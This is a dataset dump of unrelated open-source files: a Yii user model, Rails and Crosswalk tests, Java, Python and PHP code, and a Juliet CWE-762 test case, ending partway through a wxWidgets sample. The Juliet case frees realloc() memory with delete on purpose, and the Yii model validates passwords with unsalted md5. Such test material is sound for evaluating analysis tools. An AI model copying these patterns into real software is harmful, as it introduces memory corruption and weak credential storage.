code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
4
991
language
stringclasses
9 values
license
stringclasses
15 values
size
int32
3
1.05M
<?php namespace app\modules\usuarios\models; use Yii; use kartik\password\StrengthValidator; /** * This is the model class for table "usuarios". * * @property integer $id_usuario * @property integer $fl_perfil * @property integer $fl_persona * @property string $username * @property string $clave * @property string $ultimo_login * @property integer $status * * @property Recursos[] $recursos * @property Reportes[] $reportes * @property Perfiles $flPerfil * @property Personas $flPersona */ class Usuarios extends \yii\db\ActiveRecord implements \yii\web\IdentityInterface { public $nombre_perfil; public $nombre_persona; public $apellido_persona; public $validate_clave; /** * @inheritdoc */ public static function tableName() { return 'usuarios'; } /** * @inheritdoc */ public function rules() { return [ [['fl_perfil', 'fl_persona', 'username', 'clave', 'status'], 'required'], [['fl_perfil', 'fl_persona', 'status'], 'integer'], [['ultimo_login'], 'safe'], [['clave'], 'string', 'max' => 200], [['clave'], StrengthValidator::className(), 'preset' => 'normal', 'userAttribute' => 'username', 'on' => 'create'], ['validate_clave', 'required', 'on' => 'create'], ['validate_clave', 'required', 'on' => 'update'], ['validate_clave', 'compare', 'compareAttribute' => 'clave', 'message' => "Passwords no coinciden"], [['fl_perfil'], 'exist', 'skipOnError' => true, 'targetClass' => Perfiles::className(), 'targetAttribute' => ['fl_perfil' => 'id_perfile']], [['fl_persona'], 'exist', 'skipOnError' => true, 'targetClass' => Personas::className(), 'targetAttribute' => ['fl_persona' => 'id_persona']], [['id_usuario'], 'unique'], [['username'], 'unique', 'message' => 'Alias ya ultilizado'], [['fl_persona'], 'unique', 'message' => 'Esta persona ya posee un usuario'], ]; } /** * @inheritdoc */ public function attributeLabels() { return [ 'id_usuario' => Yii::t('app', 'Id Usuario'), 'fl_perfil' => Yii::t('app', 'Perfil'), 'fl_persona' => Yii::t('app', 'Persona'), 'username' => Yii::t('app', 'Alias'), 'clave' => Yii::t('app', 'Password'), 'ultimo_login' => Yii::t('app', 'Ultimo Login'), 'status' => Yii::t('app', 'Status'), 'validate_clave' => Yii::t('app', 'Re-Password'), ]; } /** * @return \yii\db\ActiveQuery */ public function getRecursos() { return $this->hasMany(Recursos::className(), ['fk_usuario' => 'id_usuario']); } /** * @return \yii\db\ActiveQuery */ public function getReportes() { return $this->hasMany(Reportes::className(), ['fk_usuario' => 'id_usuario']); } /** * @return \yii\db\ActiveQuery */ public function getFlPerfil() { return $this->hasOne(Perfiles::className(), ['id_perfile' => 'fl_perfil']); } /** * @return \yii\db\ActiveQuery */ public function getFlPersona() { return $this->hasOne(Personas::className(), ['id_persona' => 'fl_persona']); } /** * @inheritdoc * @return UsuariosQuery the active query used by this AR class. */ public static function find() { return new query\UsuariosQuery(get_called_class()); } public function getAuthKey() { throw new \yii\base\NotSupportedException(); } public function getId() { return $this->id_usuario; } public function validateAuthKey($authKey) { throw new \yii\base\NotSupportedException(); } public static function findIdentity($id) { return self::findOne($id); } public static function findIdentityByAccessToken($token, $type = null) { throw new \yii\base\NotSupportedException(); } public static function findByLogin($username) { return self::findOne(['username' => $username]); } public function validatePassword($password) { return $this->clave === md5($password); } }
delgado161/extranet
modules/usuarios/models/Usuarios.php
PHP
bsd-3-clause
4,242
require 'spec_helper' describe QuestionController do describe "GET answer" do it "assigns quantities" do get :answer, :q => 'shipping 10 tonnes of stuff for 1000 kilometres' assigns(:quantities).map{|x| x.to_s}.should eql ['10.0 t', '1000.0 km'] end it "assigns terms" do get :answer, :q => 'shipping 10 tonnes of stuff for 1000 kilometres' assigns(:terms).should eql ['shipping', 'stuff'] end it "assigns categories" do get :answer, :q => 'shipping 10 tonnes of stuff for 1000 kilometres' assigns(:categories).should eql [ "Etching_and_CVD_cleaning_in_the_Electronics_Industry", "DEFRA_freight_transport_methodology", "Freight_transport_by_Greenhouse_Gas_Protocol" ] end it "assigns a thinking message" do get :answer, :q => 'shipping 10 tonnes of stuff for 1000 kilometres' assigns(:message).should_not be_blank end end describe "GET detail" do it "gets results with a single input quantity" do get :detailed_answer, :quantities => '100.0 km', :terms => 'truck', :category => 'Generic_van_transport' assigns(:amount).should_not be_nil assigns(:amount)[:value].should eql 27.18 assigns(:more_info_url).should eql 'http://discover.amee.com/categories/Generic_van_transport/data/cng/up%20to%203.5%20tonnes/result/false/true/none/100.0;km/false/none/0/-1/0/true/false/false' end it "gets results with two input quantities" do get :detailed_answer, :quantities => '100.0 km,1.0 t', :terms => 'truck', :category => 'DEFRA_freight_transport_methodology' assigns(:amount).should_not be_nil assigns(:amount)[:value].should eql 80.7365279 assigns(:more_info_url).should eql 'http://discover.amee.com/categories/DEFRA_freight_transport_methodology/data/van/petrol/1.305-1.74%20t/result/100.0;km/1.0;t' end it "gets results with IATA codes" do get :detailed_answer, :quantities => 'from:LHR,to:LAX', :terms => 'fly', :category => 'Great_Circle_flight_methodology' assigns(:amount).should_not be_nil assigns(:amount)[:value].should be_within(1e-9).of(1064.49102031516) assigns(:more_info_url).should eql 'http://discover.amee.com/categories/Great_Circle_flight_methodology/data/great%20circle%20route/result/LHR/LAX/false/1/-999/-999/-999/-999/none/average/1/1.9/false' end end end
OpenAMEE/askamee
spec/controllers/question_controller_spec.rb
Ruby
bsd-3-clause
2,459
// Copyright (c) 2013 Intel Corporation. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "xwalk/sysapps/common/common_api_browsertest.h" #include "base/path_service.h" #include "base/strings/utf_string_conversions.h" #include "content/public/test/browser_test.h" #include "content/public/test/browser_test_utils.h" #include "content/public/test/test_utils.h" #include "net/base/net_util.h" #include "xwalk/extensions/browser/xwalk_extension_service.h" #include "xwalk/extensions/common/xwalk_extension.h" #include "xwalk/runtime/browser/runtime.h" #include "xwalk/sysapps/common/binding_object.h" #include "xwalk/test/base/in_process_browser_test.h" #include "xwalk/test/base/xwalk_test_utils.h" using namespace xwalk::extensions; // NOLINT using xwalk::sysapps::BindingObject; SysAppsTestExtension::SysAppsTestExtension() { set_name("sysapps_common_test"); set_javascript_api( "var v8tools = requireNative('v8tools');" "" "var internal = requireNative('internal');" "internal.setupInternalExtension(extension);" "" "var common = requireNative('sysapps_common');" "common.setupSysAppsCommon(internal, v8tools);" "" "var Promise = requireNative('sysapps_promise').Promise;" "" "var TestObject = function() {" " common.BindingObject.call(this, common.getUniqueId());" " common.EventTarget.call(this);" " internal.postMessage('TestObjectConstructor', [this._id]);" " this._addMethod('isTestEventActive', true);" " this._addMethod('fireTestEvent', true);" " this._addMethodWithPromise('makeFulfilledPromise', Promise);" " this._addMethodWithPromise('makeRejectedPromise', Promise);" " this._addEvent('test');" " this._registerLifecycleTracker();" "};" "" "TestObject.prototype = new common.EventTargetPrototype();" "" "exports.v8tools = v8tools;" "exports.TestObject = TestObject;" "exports.hasObject = function(object_id, callback) {" " internal.postMessage('hasObject', [object_id], callback);" "};"); } XWalkExtensionInstance* SysAppsTestExtension::CreateInstance() { return new SysAppsTestExtensionInstance(); } SysAppsTestExtensionInstance::SysAppsTestExtensionInstance() : handler_(this), store_(&handler_) { handler_.Register("TestObjectConstructor", base::Bind(&SysAppsTestExtensionInstance::OnSysAppsTestObjectContructor, base::Unretained(this))); handler_.Register("hasObject", base::Bind(&SysAppsTestExtensionInstance::OnHasObject, base::Unretained(this))); } void SysAppsTestExtensionInstance::HandleMessage(scoped_ptr<base::Value> msg) { handler_.HandleMessage(msg.Pass()); } void SysAppsTestExtensionInstance::OnSysAppsTestObjectContructor( scoped_ptr<XWalkExtensionFunctionInfo> info) { std::string object_id; ASSERT_TRUE(info->arguments()->GetString(0, &object_id)); scoped_ptr<BindingObject> obj(new SysAppsTestObject); store_.AddBindingObject(object_id, obj.Pass()); } void SysAppsTestExtensionInstance::OnHasObject( scoped_ptr<XWalkExtensionFunctionInfo> info) { std::string object_id; ASSERT_TRUE(info->arguments()->GetString(0, &object_id)); scoped_ptr<base::ListValue> result(new base::ListValue()); result->AppendBoolean(store_.HasObjectForTesting(object_id)); info->PostResult(result.Pass()); } SysAppsTestObject::SysAppsTestObject() : is_test_event_active_(false) { handler_.Register("isTestEventActive", base::Bind(&SysAppsTestObject::OnIsTestEventActive, base::Unretained(this))); handler_.Register("fireTestEvent", base::Bind(&SysAppsTestObject::OnFireTestEvent, base::Unretained(this))); handler_.Register("makeFulfilledPromise", base::Bind(&SysAppsTestObject::OnMakeFulfilledPromise, base::Unretained(this))); handler_.Register("makeRejectedPromise", base::Bind(&SysAppsTestObject::OnMakeRejectedPromise, base::Unretained(this))); } void SysAppsTestObject::StartEvent(const std::string& type) { if (type == "test") is_test_event_active_ = true; } void SysAppsTestObject::StopEvent(const std::string& type) { if (type == "test") is_test_event_active_ = false; } void SysAppsTestObject::OnIsTestEventActive( scoped_ptr<XWalkExtensionFunctionInfo> info) { scoped_ptr<base::ListValue> result(new base::ListValue()); result->AppendBoolean(is_test_event_active_); info->PostResult(result.Pass()); } void SysAppsTestObject::OnFireTestEvent( scoped_ptr<XWalkExtensionFunctionInfo> info) { scoped_ptr<base::ListValue> data(new base::ListValue()); data->AppendString("Lorem ipsum"); DispatchEvent("test", data.Pass()); scoped_ptr<base::ListValue> result(new base::ListValue()); info->PostResult(result.Pass()); } void SysAppsTestObject::OnMakeFulfilledPromise( scoped_ptr<XWalkExtensionFunctionInfo> info) { scoped_ptr<base::ListValue> result(new base::ListValue()); result->AppendString("Lorem ipsum"); // Data. result->AppendString(""); // Error, empty == no error. info->PostResult(result.Pass()); } void SysAppsTestObject::OnMakeRejectedPromise( scoped_ptr<XWalkExtensionFunctionInfo> info) { scoped_ptr<base::ListValue> result(new base::ListValue()); result->AppendString(""); // Data. result->AppendString("Lorem ipsum"); // Error, !empty == error. info->PostResult(result.Pass()); } class SysAppsCommonTest : public InProcessBrowserTest { public: virtual void SetUp() { XWalkExtensionService::SetCreateUIThreadExtensionsCallbackForTesting( base::Bind(&SysAppsCommonTest::CreateExtensions, base::Unretained(this))); InProcessBrowserTest::SetUp(); } void CreateExtensions(XWalkExtensionVector* extensions) { extensions->push_back(new SysAppsTestExtension); } }; IN_PROC_BROWSER_TEST_F(SysAppsCommonTest, SysAppsCommon) { const base::string16 passString = base::ASCIIToUTF16("Pass"); const base::string16 failString = base::ASCIIToUTF16("Fail"); content::RunAllPendingInMessageLoop(); content::TitleWatcher title_watcher(runtime()->web_contents(), passString); title_watcher.AlsoWaitForTitle(failString); base::FilePath test_file; PathService::Get(base::DIR_SOURCE_ROOT, &test_file); test_file = test_file .Append(FILE_PATH_LITERAL("xwalk")) .Append(FILE_PATH_LITERAL("sysapps")) .Append(FILE_PATH_LITERAL("common")) .Append(FILE_PATH_LITERAL("common_api_browsertest.html")); xwalk_test_utils::NavigateToURL(runtime(), net::FilePathToFileURL(test_file)); EXPECT_EQ(passString, title_watcher.WaitAndGetTitle()); }
shaochangbin/crosswalk
sysapps/common/common_api_browsertest.cc
C++
bsd-3-clause
6,721
package org.grassroot.android.models.responses; import org.grassroot.android.models.Group; import org.grassroot.android.models.helpers.RealmString; import io.realm.RealmList; import io.realm.RealmObject; /** * Created by luke on 2016/07/13. */ public class GroupsChangedResponse extends RealmObject { private RealmList<Group> addedAndUpdated = new RealmList<>(); private RealmList<RealmString> removedUids = new RealmList<>(); public GroupsChangedResponse() { } public RealmList<Group> getAddedAndUpdated() { return addedAndUpdated; } public void setAddedAndUpdated(RealmList<Group> addedAndUpdated) { this.addedAndUpdated = addedAndUpdated; } public RealmList<RealmString> getRemovedUids() { return removedUids; } public void setRemovedUids(RealmList<RealmString> removedUids) { this.removedUids = removedUids; } @Override public String toString() { return "GroupsChangedResponse{" + "addedAndUpdated=" + addedAndUpdated + ", removedUids=" + removedUids + '}'; } }
grassrootza/grassroot-android
app/src/main/java/org/grassroot/android/models/responses/GroupsChangedResponse.java
Java
bsd-3-clause
1,127
<?php use yii\helpers\Html; use yii\widgets\ActiveForm; /* @var $this yii\web\View */ /* @var $model app\models\Facultycourse */ /* @var $form yii\widgets\ActiveForm */ ?> <div class="facultycourse-form"> <?php $form = ActiveForm::begin(); ?> <?= $form->field($model, 'courses')->dropDownList($courses, ['multiple' => true, 'size' => 30]) ?> <div class="form-group"> <?= Html::submitButton(Yii::t('app', 'Save'), ['class' => 'btn btn-success']) ?> </div> <?php ActiveForm::end(); ?> </div>
tbcabagay/ficdatabase
modules/main/views/facultycourse/_form.php
PHP
bsd-3-clause
526
__author__ = 'Bohdan Mushkevych' from threading import Thread from werkzeug.wrappers import Request from werkzeug.wsgi import ClosingIterator from werkzeug.middleware.shared_data import SharedDataMiddleware from werkzeug.exceptions import HTTPException, NotFound from werkzeug.serving import run_simple from synergy.conf import settings from synergy.system.system_logger import get_logger from synergy.scheduler.scheduler_constants import PROCESS_MX from synergy.mx.utils import STATIC_PATH, local, local_manager, url_map, jinja_env from synergy.mx import views from flow.mx import views as flow_views from flow.mx import STATIC_FLOW_ENDPOINT, STATIC_FLOW_PATH import socket socket.setdefaulttimeout(10.0) # set default socket timeout at 10 seconds class MX(object): """ MX stands for Management Extension and represents HTTP server serving UI front-end for Synergy Scheduler """ def __init__(self, mbean): local.application = self self.mx_thread = None self.mbean = mbean jinja_env.globals['mbean'] = mbean self.dispatch = SharedDataMiddleware(self.dispatch, { f'/scheduler/static': STATIC_PATH, f'/{STATIC_FLOW_ENDPOINT}': STATIC_FLOW_PATH, }) # during the get_logger call a 'werkzeug' logger will be created # later, werkzeug._internal.py -> _log() will assign the logger to global _logger variable self.logger = get_logger(PROCESS_MX) def dispatch(self, environ, start_response): local.application = self request = Request(environ) local.url_adapter = adapter = url_map.bind_to_environ(environ) local.request = request try: endpoint, values = adapter.match() # first - try to read from synergy.mx.views handler = getattr(views, endpoint, None) if not handler: # otherwise - read from flow.mx.views handler = getattr(flow_views, endpoint) response = handler(request, **values) except NotFound: response = views.not_found(request) response.status_code = 404 except HTTPException as e: response = e return ClosingIterator(response(environ, start_response), [local_manager.cleanup]) def __call__(self, environ, start_response): return self.dispatch(environ, start_response) def start(self, hostname=None, port=None): """ Spawns a new HTTP server, residing on defined hostname and port :param hostname: the default hostname the server should listen on. :param port: the default port of the server. """ if hostname is None: hostname = settings.settings['mx_host'] if port is None: port = settings.settings['mx_port'] reloader = False # use_reloader: the default setting for the reloader. debugger = False # evalex = True # should the exception evaluation feature be enabled? threaded = False # True if each request is handled in a separate thread processes = 1 # if greater than 1 then handle each request in a new process reloader_interval = 1 # the interval for the reloader in seconds. static_files = None # static_files: optional dict of static files. extra_files = None # extra_files: optional list of extra files to track for reloading. ssl_context = None # ssl_context: optional SSL context for running server in HTTPS mode. self.mx_thread = Thread(target=run_simple(hostname=hostname, port=port, application=self, use_debugger=debugger, use_evalex=evalex, extra_files=extra_files, use_reloader=reloader, reloader_interval=reloader_interval, threaded=threaded, processes=processes, static_files=static_files, ssl_context=ssl_context)) self.mx_thread.daemon = True self.mx_thread.start() def stop(self): """ method stops currently running HTTP server, if any :see: `werkzeug.serving.make_environ` http://flask.pocoo.org/snippets/67/ """ func = jinja_env.get('werkzeug.server.shutdown') if func is None: raise RuntimeError('MX Error: no Shutdown Function registered for the Werkzeug Server') func() if __name__ == '__main__': from synergy.scheduler.scheduler_constants import PROCESS_SCHEDULER from synergy.scheduler.synergy_scheduler import Scheduler scheduler = Scheduler(PROCESS_SCHEDULER) app = MX(scheduler) app.start()
mushkevych/scheduler
synergy/mx/synergy_mx.py
Python
bsd-3-clause
5,162
// vim:filetype=java:ts=4 /* Copyright (c) 2005, 2006, 2007 Conor McDermottroe. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. 3. Neither the name of the author nor the names of any contributors to the software may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ package com.mcdermottroe.exemplar.input; import com.mcdermottroe.exemplar.Exception; /** An exception that can be thrown in response to any error in the input phase of the program. @author Conor McDermottroe @since 0.1 */ public class InputException extends Exception { /** InputException without a description. */ public InputException() { super(); } /** InputException with a description. @param message The description of the exception. */ public InputException(String message) { super(message); } /** InputException with a description and a reference to an exception which caused it. @param message The description of the exception. @param cause The cause of the exception. */ public InputException(String message, Throwable cause) { super(message, cause); } /** InputException with a reference to the exception that caused it. @param cause The cause of the exception. */ public InputException(Throwable cause) { super(cause); } /** {@inheritDoc} */ public InputException getCopy() { InputException copy; String message = getMessage(); Throwable cause = getCause(); if (message != null && cause != null) { copy = new InputException(message, cause); } else if (message != null) { copy = new InputException(message); } else if (cause != null) { copy = new InputException(cause); } else { copy = new InputException(); } copy.setStackTrace(copyStackTrace(getStackTrace())); return copy; } }
conormcd/exemplar
src/com/mcdermottroe/exemplar/input/InputException.java
Java
bsd-3-clause
3,051
package sensor; import core.Sensor; import edu.wpi.first.wpilibj.Joystick; import event.events.ButtonEvent; import event.events.XboxJoystickEvent; import event.listeners.ButtonListener; import event.listeners.XboxJoystickListener; import java.util.Enumeration; import java.util.Vector; /** * Wrapper class for an XBox controller. * * @author ajc */ public class GRTXBoxJoystick extends Sensor { /** * Keys of data */ public static final int KEY_BUTTON_0 = 0; public static final int KEY_BUTTON_1 = 1; public static final int KEY_BUTTON_2 = 2; public static final int KEY_BUTTON_3 = 3; public static final int KEY_BUTTON_4 = 4; public static final int KEY_BUTTON_5 = 5; public static final int KEY_BUTTON_6 = 6; public static final int KEY_BUTTON_7 = 7; public static final int KEY_BUTTON_8 = 8; public static final int KEY_BUTTON_9 = 9; public static final int KEY_LEFT_X = 10; public static final int KEY_LEFT_Y = 11; public static final int KEY_RIGHT_X = 12; public static final int KEY_RIGHT_Y = 13; public static final int KEY_JOYSTICK_ANGLE = 14; public static final int KEY_TRIGGER = 15; public static final int KEY_PAD = 16; private static final int NUM_DATA = 17; private static final int NUM_OF_BUTTONS = 10; /** * State definitions */ public static final double PRESSED = TRUE; public static final double RELEASED = FALSE; private final Joystick joystick; private final Vector buttonListeners; private final Vector joystickListeners; /** * Instantiates a new GRTXBoxJoystick. * * @param channel USB channel joystick is plugged into * @param pollTime how often to poll the joystick * @param name this joystick's name */ public GRTXBoxJoystick(int channel, int pollTime, String name) { super(name, pollTime, NUM_DATA); joystick = new Joystick(channel); buttonListeners = new Vector(); joystickListeners = new Vector(); } protected void poll() { for (int i = 0; i < NUM_OF_BUTTONS; i++) //if we measure true, this indicates pressed state setState(i, joystick.getRawButton(i) ? PRESSED : RELEASED); setState(KEY_LEFT_X, joystick.getX()); setState(KEY_LEFT_Y, joystick.getY()); setState(KEY_RIGHT_X, joystick.getRawAxis(4)); setState(KEY_RIGHT_Y, joystick.getRawAxis(5)); setState(KEY_JOYSTICK_ANGLE, joystick.getDirectionRadians()); setState(KEY_TRIGGER, joystick.getZ()); setState(KEY_PAD, joystick.getRawAxis(6)); } protected void notifyListeners(int id, double newDatum) { if (id < NUM_OF_BUTTONS) { //ID maps directly to button ID ButtonEvent e = new ButtonEvent(this, id, newDatum == PRESSED); if (newDatum == PRESSED) //true for (Enumeration en = buttonListeners.elements(); en. hasMoreElements();) ((ButtonListener) en.nextElement()).buttonPressed(e); else for (Enumeration en = buttonListeners.elements(); en. hasMoreElements();) ((ButtonListener) en.nextElement()).buttonReleased(e); } else { //we are now a joystick //only reach here if not a button XboxJoystickEvent e = new XboxJoystickEvent(this, id, newDatum); //call various events based on which datum we are switch (id) { case KEY_LEFT_X: { for (Enumeration en = joystickListeners.elements(); en. hasMoreElements();) ((XboxJoystickListener) en.nextElement()). leftXAxisMoved(e); break; } case KEY_LEFT_Y: { for (Enumeration en = joystickListeners.elements(); en. hasMoreElements();) ((XboxJoystickListener) en.nextElement()). leftYAxisMoved(e); break; } case KEY_RIGHT_X: { for (Enumeration en = joystickListeners.elements(); en. hasMoreElements();) ((XboxJoystickListener) en.nextElement()). rightXAxisMoved(e); break; } case KEY_RIGHT_Y: { for (Enumeration en = joystickListeners.elements(); en. hasMoreElements();) ((XboxJoystickListener) en.nextElement()). rightYAxisMoved(e); break; } case KEY_JOYSTICK_ANGLE: { for (Enumeration en = joystickListeners.elements(); en. hasMoreElements();) ((XboxJoystickListener) en.nextElement()). leftAngleChanged(e); break; } case KEY_TRIGGER: { for (Enumeration en = joystickListeners.elements(); en. hasMoreElements();) ((XboxJoystickListener) en.nextElement()). triggerMoved(e); break; } case KEY_PAD: { for (Enumeration en = joystickListeners.elements(); en. hasMoreElements();) ((XboxJoystickListener) en.nextElement()).padMoved(e); break; } } } } public void addButtonListener(ButtonListener b) { buttonListeners.addElement(b); } public void removeButtonListener(ButtonListener b) { buttonListeners.removeElement(b); } public void addJoystickListener(XboxJoystickListener l) { joystickListeners.addElement(l); } public void removeJoystickListener(XboxJoystickListener l) { joystickListeners.removeElement(l); } }
grt192/grtframework
src/sensor/GRTXBoxJoystick.java
Java
bsd-3-clause
6,230
<?php namespace core\users\controllers\frontend; use core\fileapi\actions\UploadAction as FileAPIUpload; use core\users\models\frontend\Email; use core\users\models\frontend\PasswordForm; use core\users\models\Profile; use core\users\Module; use yii\filters\AccessControl; use yii\web\Controller; use yii\web\Response; use yii\widgets\ActiveForm; use Yii; /** * Frontend controller for authenticated users. */ class UserController extends Controller { /** * @inheritdoc */ public function behaviors() { return [ 'access' => [ 'class' => AccessControl::className(), 'rules' => [ [ 'allow' => true, 'roles' => ['@'] ] ] ] ]; } /** * @inheritdoc */ public function actions() { return [ 'auth' => [ 'class' => 'yii\authclient\AuthAction', 'successCallback' => [$this, 'oAuthSuccess'], ], ]; } /** * Log Out page. */ public function actionLogout() { Yii::$app->user->logout(); return $this->goHome(); } /** * Change password page. */ public function actionPassword() { $model = new PasswordForm(); if ($model->load(Yii::$app->request->post())) { if ($model->validate()) { if ($model->password()) { Yii::$app->session->setFlash( 'success', Module::t('users', 'FRONTEND_FLASH_SUCCESS_PASSWORD_CHANGE') ); return $this->goHome(); } else { Yii::$app->session->setFlash('danger', Module::t('users', 'FRONTEND_FLASH_FAIL_PASSWORD_CHANGE')); return $this->refresh(); } } elseif (Yii::$app->request->isAjax) { Yii::$app->response->format = Response::FORMAT_JSON; return ActiveForm::validate($model); } } return $this->render( 'password', [ 'model' => $model ] ); } /** * Request email change page. */ public function actionEmail() { $model = new Email(); if ($model->load(Yii::$app->request->post())) { if ($model->validate()) { if ($model->save(false)) { Yii::$app->session->setFlash('success', Module::t('users', 'FRONTEND_FLASH_SUCCES_EMAIL_CHANGE')); return $this->goHome(); } else { Yii::$app->session->setFlash('danger', Module::t('users', 'FRONTEND_FLASH_FAIL_EMAIL_CHANGE')); return $this->refresh(); } } elseif (Yii::$app->request->isAjax) { Yii::$app->response->format = Response::FORMAT_JSON; return ActiveForm::validate($model); } } return $this->render( 'email', [ 'model' => $model ] ); } /** * Profile updating page. */ public function actionUpdate() { $model = Profile::findByUserId(Yii::$app->user->id); if ($model->load(Yii::$app->request->post())) { if ($model->validate()) { if ($model->save(false)) { Yii::$app->session->setFlash('success', Module::t('users', 'FRONTEND_FLASH_SUCCES_UPDATE')); } else { Yii::$app->session->setFlash('danger', Module::t('users', 'FRONTEND_FLASH_FAIL_UPDATE')); } return $this->refresh(); } elseif (Yii::$app->request->isAjax) { Yii::$app->response->format = Response::FORMAT_JSON; return ActiveForm::validate($model); } } return $this->render( 'update', [ 'model' => $model ] ); } }
MovieDogBall/Testwork
vendor/core/yii2-users-module/controllers/frontend/UserController.php
PHP
bsd-3-clause
4,168
'use strict'; const assert = require('assert'); const { Observable } = require('rx-lite'); /** * * @param {Rx.Observable} observable * @param {function} fn * @returns {Rx.IPromise<void>} */ function checkError(observable, fn) { const OK = {}; return observable .catch(err => { fn(err); return Observable.just(OK); }) .toPromise() .then(value => { assert.deepStrictEqual(value, OK); }); } module.exports = checkError;
groupon/shared-store
test/check-error.js
JavaScript
bsd-3-clause
468
/* TEMPLATE GENERATED TESTCASE FILE Filename: CWE762_Mismatched_Memory_Management_Routines__delete_long_realloc_12.cpp Label Definition File: CWE762_Mismatched_Memory_Management_Routines__delete.label.xml Template File: sources-sinks-12.tmpl.cpp */ /* * @description * CWE: 762 Mismatched Memory Management Routines * BadSource: realloc Allocate data using realloc() * GoodSource: Allocate data using new * Sinks: * GoodSink: Deallocate data using free() * BadSink : Deallocate data using delete * Flow Variant: 12 Control flow: if(globalReturnsTrueOrFalse()) * */ #include "std_testcase.h" namespace CWE762_Mismatched_Memory_Management_Routines__delete_long_realloc_12 { #ifndef OMITBAD void bad() { long * data; /* Initialize data*/ data = NULL; if(globalReturnsTrueOrFalse()) { data = NULL; /* POTENTIAL FLAW: Allocate memory with a function that requires free() to free the memory */ data = (long *)realloc(data, 100*sizeof(long)); if (data == NULL) {exit(-1);} } else { /* FIX: Allocate memory from the heap using new */ data = new long; } if(globalReturnsTrueOrFalse()) { /* POTENTIAL FLAW: Deallocate memory using delete - the source memory allocation function may * require a call to free() to deallocate the memory */ delete data; } else { /* FIX: Deallocate the memory using free() */ free(data); } } #endif /* OMITBAD */ #ifndef OMITGOOD /* goodB2G() - use badsource and goodsink by changing the first "if" so that both branches use the BadSource and the second "if" so that both branches use the GoodSink */ static void goodB2G() { long * data; /* Initialize data*/ data = NULL; if(globalReturnsTrueOrFalse()) { data = NULL; /* POTENTIAL FLAW: Allocate memory with a function that requires free() to free the memory */ data = (long *)realloc(data, 100*sizeof(long)); if (data == NULL) {exit(-1);} } else { data = NULL; /* POTENTIAL FLAW: Allocate memory with a function that requires free() to free the memory */ data = (long *)realloc(data, 100*sizeof(long)); if (data == NULL) {exit(-1);} } if(globalReturnsTrueOrFalse()) { /* FIX: Deallocate the memory using free() */ free(data); } else { /* FIX: Deallocate the memory using free() */ free(data); } } /* goodG2B() - use goodsource and badsink by changing the first "if" so that both branches use the GoodSource and the second "if" so that both branches use the BadSink */ static void goodG2B() { long * data; /* Initialize data*/ data = NULL; if(globalReturnsTrueOrFalse()) { /* FIX: Allocate memory from the heap using new */ data = new long; } else { /* FIX: Allocate memory from the heap using new */ data = new long; } if(globalReturnsTrueOrFalse()) { /* POTENTIAL FLAW: Deallocate memory using delete - the source memory allocation function may * require a call to free() to deallocate the memory */ delete data; } else { /* POTENTIAL FLAW: Deallocate memory using delete - the source memory allocation function may * require a call to free() to deallocate the memory */ delete data; } } void good() { goodB2G(); goodG2B(); } #endif /* OMITGOOD */ } /* close namespace */ /* Below is the main(). It is only used when building this testcase on its own for testing or for building a binary to use in testing binary analysis tools. It is not used when compiling all the testcases as one application, which is how source code analysis tools are tested. */ #ifdef INCLUDEMAIN using namespace CWE762_Mismatched_Memory_Management_Routines__delete_long_realloc_12; /* so that we can use good and bad easily */ int main(int argc, char * argv[]) { /* seed randomness */ srand( (unsigned)time(NULL) ); #ifndef OMITGOOD printLine("Calling good()..."); good(); printLine("Finished good()"); #endif /* OMITGOOD */ #ifndef OMITBAD printLine("Calling bad()..."); bad(); printLine("Finished bad()"); #endif /* OMITBAD */ return 0; } #endif
JianpingZeng/xcc
xcc/test/juliet/testcases/CWE762_Mismatched_Memory_Management_Routines/s04/CWE762_Mismatched_Memory_Management_Routines__delete_long_realloc_12.cpp
C++
bsd-3-clause
4,494
///////////////////////////////////////////////////////////////////////////// // Program: wxWidgets Widgets Sample // Name: fontpicker.cpp // Purpose: Shows wxFontPickerCtrl // Author: Francesco Montorsi // Created: 20/6/2006 // Copyright: (c) 2006 Francesco Montorsi // Licence: wxWindows licence ///////////////////////////////////////////////////////////////////////////// // ============================================================================ // declarations // ============================================================================ // ---------------------------------------------------------------------------- // headers // ---------------------------------------------------------------------------- // for compilers that support precompilation, includes "wx/wx.h". #include "wx/wxprec.h" #if wxUSE_FONTPICKERCTRL // for all others, include the necessary headers #ifndef WX_PRECOMP #include "wx/app.h" #include "wx/log.h" #include "wx/radiobox.h" #endif #include "wx/artprov.h" #include "wx/sizer.h" #include "wx/stattext.h" #include "wx/checkbox.h" #include "wx/imaglist.h" #include "wx/fontpicker.h" #include "widgets.h" #include "icons/fontpicker.xpm" // ---------------------------------------------------------------------------- // constants // ---------------------------------------------------------------------------- // control ids enum { PickerPage_Reset = wxID_HIGHEST, PickerPage_Font }; // ---------------------------------------------------------------------------- // FontPickerWidgetsPage // ---------------------------------------------------------------------------- class FontPickerWidgetsPage : public WidgetsPage { public: FontPickerWidgetsPage(WidgetsBookCtrl *book, wxImageList *imaglist); virtual wxWindow *GetWidget() const wxOVERRIDE { return m_fontPicker; } virtual void RecreateWidget() wxOVERRIDE { RecreatePicker(); } // lazy creation of the content virtual void CreateContent() wxOVERRIDE; protected: // called only once at first construction void CreatePicker(); // called to recreate an existing control void RecreatePicker(); // restore the checkboxes 